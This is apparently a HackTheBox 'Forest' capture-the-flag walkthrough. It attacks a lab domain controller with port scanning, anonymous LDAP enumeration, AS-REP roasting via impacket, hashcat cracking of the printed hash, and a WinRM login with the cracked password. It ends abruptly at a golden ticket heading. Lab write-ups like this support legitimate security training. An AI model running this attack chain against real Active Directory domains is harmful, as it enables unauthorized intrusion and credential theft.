Forest

Overview

A domain controller created by HackTheBox with Exchange server installed in a minimal AD domain.

The machine covers the following techniques:

Reconnaissance

Port Scanning

We use nmap to figure out what services are running on the target.

$ nmap -Pn -n -sS -p- -T4 --min-rate 1000 <IP>
...
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49689/tcp open  unknown
49690/tcp open  unknown
49702/tcp open  unknown
50008/tcp open  unknown
64429/tcp open  unknown
...

The results reveal the following information.

  • port 88 tells us that this should be a domain controller

  • port 389 allows us to fetch information about target AD domain via LDAP

  • port 5985 may allow us access the target using WinRM later

LDAP

It seems that we can fetch information about the target AD domain via LDAP anonymous authentication.

By querying the RootDSE information, we see that the target domain name is htb.local.

$ ldapsearch -H ldap://<IP> -x -b '' -s base

Initial Access

Alfresco

From the information gathered through anonymous LDAP query, we found a service account named svc-alfresco.

To expand our knowledge of the technology used by our client, the next thing to do is to find what third-party service, which shall be AD-integrated, related this account.

By Google, we found a product named Alfresco Content Services.

From the configuration, we see that the account related to this service has been configured with Kerberos pre-authentication disable.

Alfresco - Configuration Steps

This allows us to get the TGT for this account svc-alfresco, and conduct the AS-REP Roasting attack to retrieve the account password from the requested TGT.

AS-REP Roasting

We use the Impacket-GetNPUsers to get the TGT ticket for the account svc-alfresco:

$ impacket-GetNPUsers htb.local/svc-alfresco -no-pass -format hashcat
Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra

[*] Getting TGT for svc-alfresco
$krb5asrep$23$svc-alfresco@HTB.LOCAL:25dea275afcce8003c360ab40353f112$1c819f4f545ec54a5b988c5402709abffb17105fd2e5ab6a47b0321fd90307767aef2e00f6504fc2eaf643c4884614ca62b6d938a45b19c87893b0bca1d1dfc3e628c97462de1625b8d492f0ad25932d37bc84e095a6bddcb6230d53066fa0c165a77a150e2837cf257c898e71c2fbb16411e905718cf59262d1d15159537a0c49c31b7f64d89f128e20a2becb4f0e47fd0b4ca10440539ca6038e5d14da2a8be833e857bc868afff34011a9ae150c4b296866c8dbddd48f9208bc324208b251af8ff35f7a205666166c8208c59cff2de2d9994aa67fc4e7eb6aac4b0cd9b1ec02bced2feb3a

Refer to AS-REP Roasting - Impacket for more information.

We can crack the hash using hashcat with mode 18200:

$ hashcat --example|grep -i 'as.*rep' -B2

MODE: 18200
TYPE: Kerberos 5, etype 23, AS-REP
HASH: $krb5asrep$23$user@domain.com:3e156ada591263b8aab0965f5aebd837$007497cb51b6c8116d6407a782ea0e1c5402b17db7afa6b05a6d30ed164a9933c754d720e279c6c573679bd27128fe77e5fea1f72334c1193c8ff0b370fadc6368bf2d49bbfdba4c5dccab95e8c8ebfdc75f438a0797dbfb2f8a1a5f4c423f9bfc1fea483342a11bd56a216f4d5158ccc4b224b52894fadfba3957dfe4b6b8f5f9f9fe422811a314768673e0c924340b8ccb84775ce9defaa3baa0910b676ad0036d13032b0dd94e3b13903cc738a7b6d00b0b3c210d1f972a6c7cae9bd3c959acf7565be528fc179118f28c679f6deeee1456f0781eb8154e18e49cb27b64bf74cd7112a0ebae2102ac

and get the password s3rvice for the account svc-alfresco.

WinRM

We can now login to the target host with the credential we got via WinRM.

$ evil-winrm -i forest.htb -u svc-alfresco -p s3rvice

Miscellaneous

Golden Ticket Attack

Since we get the account krbtgt's password hash, we can conduct the golden ticket attack.

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